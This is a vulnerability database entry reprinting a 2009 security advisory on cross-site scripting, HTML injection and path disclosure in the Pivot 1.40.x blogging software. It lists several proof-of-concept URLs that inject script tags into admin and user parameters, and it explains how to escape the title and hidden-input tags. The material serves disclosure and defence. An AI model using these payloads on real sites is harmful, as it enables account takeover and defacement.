Pivot 1.40.4-7 - Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1051862 漏洞类型
发布时间 2009-06-24 更新时间 2009-06-24
CVE编号 CVE-2009-2133
CVE-2009-2134
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2009060166
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Pivot - XSS and HTML Injection Vulnerabilities

Versions Affected: 1.40.4 and 1.40.7 (22nd March 2009) (newest)

Info: Pivot is a web-based tool to help you maintain dynamic sites, like

weblogs or online journals. Pivot is released under the GPL so it is

completely free to use. It is written in PHP, and does not require

additional libraries or databases to function.

Credits: InterN0T

External Links:

http://www.pivotlog.net/

-:: The Advisory ::-

Vulnerable Function / ID Calls:

url, menu, sort, check[], edituser, edit, blog, cat.

Path Disclosure:

http://[HOST]/pivot/pivot/tb.php?tb_id=1&url='

Cross Site Scripting: (can only be triggered when One is not logged in).

http://[HOST]/pivot/pivot/index.php?menu="><script>alert(0)</script><br

Cross Site Scripting: (triggers on logged in administrators only) [low

or no impact due to session-key in url]

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&so
rt="><script>alert(0)</script>

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&do
action=1&action=delete&check[]='><script>alert(0)</script>

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&do
action=1&action=delete&check['><script>alert(0)</script>]=0

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func
=admin&do=edituser&edituser=</title><script>alert(0)</script>

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func
=admin&do=templates&edit=<script>alert(0)</script>

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func
=admin&do=blog_edit1&blog="><script>alert(0)</script>

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func
=admin&do=cat_edit&cat="><script>alert(0)</script>

Cross Site Scripting using Post Method: (triggers on logged in

administrators only) [low impact - see above] << Filter Field.

'><script>alert(0)</script> in

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=entries&do
action=1

HTML Injection: (this will only affect the user logged in apparently..)

http://[HOST]/pivot/pivot/user.php?func=edit_prefs&w=my_weblog

sign up formular (all fields might be, but url is recommended to use)

(use "> to escape tag)

http://[HOST]/pivot/pivot/user.php?func=reg_user&w=my_weblog

http://[HOST]/pivot/pivot/user.php?func=reg_user&w=my_weblog

-- Set username to <script>alert(0)</script>

--- It is possible to trigger it other places such as in the title or in the "hidden" input variable.

---- Use "> to escape the hidden tag and </title> to escape the title tag.

Affected Admin Site:

http://[HOST]/pivot/pivot/index.php?session=VALIDSESSION&menu=admin&func
=admin&do=editcommuser&edituser=VALIDUSERHASH

-:: Solution ::-

The solution for this is not simple at all. I suggest a complete review

of the entire codebase.

Conclusion:

When we first checked the platform for vulnerabilities we had apparently

installed an old version, so we updated to the newest version which

apparently had some "XSS-bug fixed", strangely enough all the

vulnerabilities we found are still there.

Reference:

http://forum.intern0t.net/intern0t-advisories/1119-intern0t-pivot-1-40-4
-7-multiple-vulnerabilities.html

Disclosure Information:

- Vulnerabilities found, researched and confirmed between 5th to 10th June.

- Advisory finished and published on InterN0T the 12th June.

- Vendor and Buqtraq (SecurityFocus) contacted the 12th June.

All of the best,

MaXe